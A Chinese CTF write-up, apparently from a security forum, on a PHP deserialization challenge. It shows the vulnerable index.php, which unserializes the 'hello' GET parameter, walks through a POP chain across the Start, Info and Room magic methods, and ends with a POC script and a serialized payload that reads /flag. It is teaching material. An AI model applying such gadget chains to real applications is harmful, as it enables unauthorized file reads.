因为实验环境已经关闭,就在本地搭建了一个环境。

http://127.0.0.1:8080/

访问之后提示我们去找源码

0x01 分析入口点

通过扫描路径找到 www.zip

http://127.0.0.1:8080/www.zip

下载解压后得到 index.php

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';

    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';

    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';

    public function __get($name){
        $function = $this->a;
        return $function();
    }

    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>

看到 unserialize 函数就知道是反序列化题目了,入口是 hello 参数

http://127.0.0.1:8080/index.php?hello=

我们需要这么去传参。

0x02 分析漏洞点

不难发现在 class Room 处有一个可以读取文件并返回 base64编码数据的接口

public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }

但是我们需要触发 __invoke 这个魔法函数。当对象被当成函数执行时就会进入到这个魔法函数。

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。(本特性只在 PHP 5.3.0 及以上版本有效。)

$t = new Room;
$t();
// 触发 __invoke

那么可能触发它的地方同样在 class Room 里面的 __get 魔法函数

public function __get($name){
        $function = $this->a;
        return $function();
    }

也就是说我们将 a 变量替换成 class Room 对象即可触发 _invoke 拿到 flag,但有个前提。需要我们触发 \_get 这个魔法函数

$t = new Room;
$t->bucunzaideshuxing;
// 触发 __get

读取不可访问属性的值时,__get() 会被调用。

当我们访问对象不存在的属性时就会触发这个魔法函数,在 class Info 中就可以找到。

public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }

我们需要 $this->file['filename'] = new Room; 但在此还有一个前提,如何触发 __toString 魔法函数

$i = new Info;
echo $i;
// 触发 __toString

__toString() 方法用于定义一个类被当成字符串时该如何处理。

在 class Start 就能找到触发点

public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }

很明显我们需要将 $this->name = new Info;在此之前我们需要触发 __wakeup ,这就说明我们序列化的对象就是这个。

在使用 unserialize() 时,会检查是否存在一个 __wakeup() 魔术方法。如果存在,则该方法会先被调用,预先准备对象需要的资源。

0x03 整理思路

  1. 先将 class Start 中的 name 赋值 class Info
    a . 触发 Info __toString
  2. 将 class Info 的 file 赋值成数组对象,其中 'filename' => class Room
    a. 触发 Room __get
  3. class Room 的 a 要等于自身
    a. 触发 Room __invoke
    b . 触发 file_get_contents 得到 base64 flag
    c. Base64 转码后得到 flag

0x04 POC

<?php
class Start
{
    public $name;
}
class Info{
    public $file;
}

class Room{
    public $a;
}

$p = new Start();
$L = new Info();
$r = new Room();

$p->name = $L; // 1. 赋值 Info 对象
$L->file = array('filename'=>$r); // 2. 赋值 Room 对象
$r->a=$r; // 3. 等于自身

echo serialize($p); // 4. 序列化 Start 对象

最终序列化出来的字符串

O:5:"Start":1:{s:4:"name";O:4:"Info":1:{s:4:"file";a:1:{s:8:"filename";O:4:"Room":1:{s:1:"a";r:4;}}}}

0x05 思考与总结

  1. 我在本地测试时把源码中的 error_reporting(1);删除后能看到很多报错信息,这些信息可以帮助我们迅速的找到问题,但在题目环境中是没有的,我们可以先拿我们自己的源码尝试一遍。

  2. 反序列化重点在于变量和魔法函数的触发。

0x06 参考链接

PHP反序列化之POP链入门&&找感觉 的习题练习,详解

PHP反序列化入门之常见魔术方法

PHP反序列化漏洞简介及相关技巧小结

点击收藏 | 1 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖